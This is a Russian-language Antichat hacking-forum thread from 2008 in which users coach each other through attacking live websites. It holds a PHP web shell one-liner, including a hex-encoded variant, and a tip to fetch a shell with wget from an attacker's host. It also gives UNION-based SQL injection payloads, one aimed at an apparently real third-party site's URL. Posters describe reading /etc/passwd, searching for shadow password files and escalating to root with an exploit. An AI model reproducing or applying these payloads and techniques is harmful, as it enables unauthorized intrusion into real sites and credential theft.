ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
25.11.2008, 11:33
|
|
Banned
Регистрация: 25.12.2006
Сообщений: 179
Провел на форуме:
2337678
Репутация:
354
|
|
Сообщение от DimOnOID
а что system(wget get и т.д) уже не в моде? или отключён? Лишний гемор всё это...
+1
Всё равно спросят )
'<?system($_GET[cmd]);?>'
Или так, если кавычки не катят.
0x3c3f2073797374656d2824636d64293b203f3e
Потом обращаешься к нему
shell.php?cmd=ls -la
wget'oм заливаешь шелл со своего хоста.
Последний раз редактировалось ThreeD; 25.11.2008 в 11:39..
|
|
|
25.11.2008, 15:15
|
|
Новичок
Регистрация: 25.11.2008
Сообщений: 1
Провел на форуме:
20839
Репутация:
0
|
|
Подскажите как бороться с такой ошибкой?
error in query 'select *, count(news_id) as news_count, news_id, category.category_id from category left join news using(category_id) where category.category_id = 38 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 ,21,22,23,24/* group by category.category_id' Mixing of GROUP columns (MIN(),MAX(),COUNT(),...) with no GROUP columns is illegal if there is no GROUP BY clause
столбцов 24,судя по order by!
Ссылку выложить к сожалению не могу
Последний раз редактировалось WisP™; 25.11.2008 в 15:18..
|
|
|
|
25.11.2008, 17:35
|
|
Members of Antichat - Level 5
Регистрация: 25.02.2007
Сообщений: 495
Провел на форуме:
3244717
Репутация:
1980
|
|
@WisP™
error in query 'select *, count(news_id) as news_count, news_id, category.category_id from category left join news using(category_id) where category.category_id = 38 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 ,21,22,23,24/* group by category.category_id' Mixing of GROUP columns (MIN(),MAX(),COUNT(),...) with no GROUP columns is illegal if there is no GROUP BY clause
там же LEFT JOIN, нужно так:
-1 GROUP BY category.category_id UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 ,21,22,23,24/* |
|
|
|
25.11.2008, 18:28
|
|
Познающий
Регистрация: 29.07.2007
Сообщений: 49
Провел на форуме:
279583
Репутация:
7
|
|
опять я запутался..
Код:
urbanwild@localhost - user
5.0.17-nt-log - version
Код:
CHARACTER_SETS
COLLATIONS
COLLATION_CHARACTER_SET_APPLICABILITY
COLUMNS
COLUMN_PRIVILEGES
KEY_COLUMN_USAGE
ROUTINES
SCHEMATA
SCHEMA_PRIVILEGES
STATISTICS
TABLES
TABLE_CONSTRAINTS
TABLE_PRIVILEGES
TRIGGERS
VIEWS
USER_PRIVILEGES
menu
wysiwyg
tbl_news
tbl_pages
tbl_wysiwyg
не могу посмотреть содержимое столбцов
http://www.heimlichinstitute.org/page.php?id=-1+union+select+1,unhex(hex(COLUMN_NAME)),3,4+FROM+ INFORMATION_SCHEMA.COLUMNS+WHERE+TABLE_NAME='USER_ PRIVILEGES'+LIMIT+1,1-- |
|
|
|
25.11.2008, 18:35
|
|
Постоянный
Регистрация: 06.08.2007
Сообщений: 347
Провел на форуме:
2584838
Репутация:
770
|
|
Сообщение от d1aVOL
опять я запутался..
не могу посмотреть содержимое столбцов
http://www.heimlichinstitute.org/page.php?id=-1+union+select+1,unhex(hex(COLUMN_NAME)),3,4+FROM+ INFORMATION_SCHEMA.COLUMNS+WHERE+TABLE_NAME='USER_ PRIVILEGES'+LIMIT+1,1--
хекси название таблиц без кавычек.
http://snak3.h17.ru/tools
к примеру USER_PRIVILEGES будет выглядеть как:
Код:
16bit:0x555345525f50524956494c45474553
Последний раз редактировалось Calcutta; 25.11.2008 в 18:38..
|
|
|
|
25.11.2008, 19:01
|
|
Познающий
Регистрация: 06.11.2008
Сообщений: 93
Провел на форуме:
349682
Репутация:
30
|
|
Приветствую Всех.
Вытащил все из /etc/passwd/ вот такого вида:
root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
Как я понимаю, тут одни логины, пассы должны лежать в etc/shadow, там пусто, так как доступно только для пользователя с рутовами правами...
Подскажите, как дальше действовать?
Последний раз редактировалось Octave_Parango; 25.11.2008 в 19:04..
|
|
|
|
25.11.2008, 19:26
|
|
Постоянный
Регистрация: 06.08.2007
Сообщений: 347
Провел на форуме:
2584838
Репутация:
770
|
|
Сообщение от Octave_Parango
Приветствую Всех.
Вытащил все из /etc/passwd/ вот такого вида:
Как я понимаю, тут одни логины, пассы должны лежать в etc/shadow, там пусто, так как доступно только для пользователя с рутовами правами...
Подскажите, как дальше действовать?
хэши паролей заменены на 'x', так что содержание файла бесполезное.
посмотри так же:
Код:
/etc/shadow.old
/etc/passwd.tmp
/etc/master.passwd
но сомневаюсь, что ситуация изменится (-
Последний раз редактировалось Calcutta; 25.11.2008 в 19:31..
|
|
|
|
25.11.2008, 19:49
|
|
Познающий
Регистрация: 06.11.2008
Сообщений: 93
Провел на форуме:
349682
Репутация:
30
|
|
Сообщение от Calcutta
хэши паролей заменены на 'x', так что содержание файла бесполезное.
посмотри так же:
Код:
/etc/shadow.old
/etc/passwd.tmp
/etc/master.passwd
но сомневаюсь, что ситуация изменится (-
Да, везде пусто. Обидно.
Еще как-нибудь можно подлезь? Есть варианты?
|
|
|
|
25.11.2008, 19:56
|
|
Новичок
Регистрация: 07.10.2007
Сообщений: 4
Провел на форуме:
32389
Репутация:
1
|
|
Добрый день
Подскажите пожалуйста как вывести в ошибке MSSQL данные типа "int"
1+or+1=(SELECT intColumn ...) не вызывает ошибки в случае если column имеет тип int, только при varchar.
Спасибо.
Последний раз редактировалось Parti; 25.11.2008 в 20:07..
|
|
|
|
25.11.2008, 19:58
|
|
Постоянный
Регистрация: 05.12.2006
Сообщений: 477
Провел на форуме:
11338585
Репутация:
441
|
|
Сообщение от Octave_Parango
Да, везде пусто. Обидно.
Еще как-нибудь можно подлезь? Есть варианты?
а порутать с помощью сплоента?!
|
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
![Аватар для [Raz0r]](/avatars/avatar33548.jpg?961063){kind=avatar}
![Отправить сообщение для [Raz0r] с помощью ICQ](fusion/misc/im_icq.gif)
Похожие темы
Линейный вид
